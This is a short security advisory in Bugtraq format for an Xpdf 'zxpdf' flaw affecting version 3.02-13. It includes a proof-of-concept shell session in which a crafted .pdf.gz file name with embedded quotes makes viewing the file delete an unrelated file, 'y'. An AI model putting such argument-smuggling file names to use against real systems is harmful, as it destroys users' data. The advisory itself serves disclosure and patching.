Xpdf 'zxpdf' Security Bypass Vulnerability

Bugtraq ID:	49007
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Aug 04 2011 12:00AM
Updated:	Aug 04 2011 12:00AM
Credit:	Chung-chieh Shan
Vulnerable:	Xpdf Xpdf 3.02-13
Not Vulnerable:	Xpdf Xpdf 3.02-19

Xpdf 'zxpdf' Security Bypass Vulnerability

Xpdf is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Xpdf 'zxpdf' Security Bypass Vulnerability

The following proof-of-concept code is available:

$ touch y # The unrelated victim file
$ gzip -c </dev/null >'" y ".pdf.gz' # Create a .pdf.gz file
$ xpdf '" y ".pdf.gz' # View it using xpdf
Error: May not be a PDF file (continuing anyway)
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Couldn't find trailer dictionary
Error: Couldn't read xref table
rm: cannot remove `/tmp/': Is a directory
$ ls -l y # The victim file is gone!
ls: cannot access y: No such file or directory

Xpdf 'zxpdf' Security Bypass Vulnerability

Solution:
Updates are available. Please see the references for more details.

Xpdf 'zxpdf' Security Bypass Vulnerability

References:

• Xpdf Homepage (Xpdf)
  
• xpdf: crafted .pdf.gz file name can delete any single-letter-named file (Debian)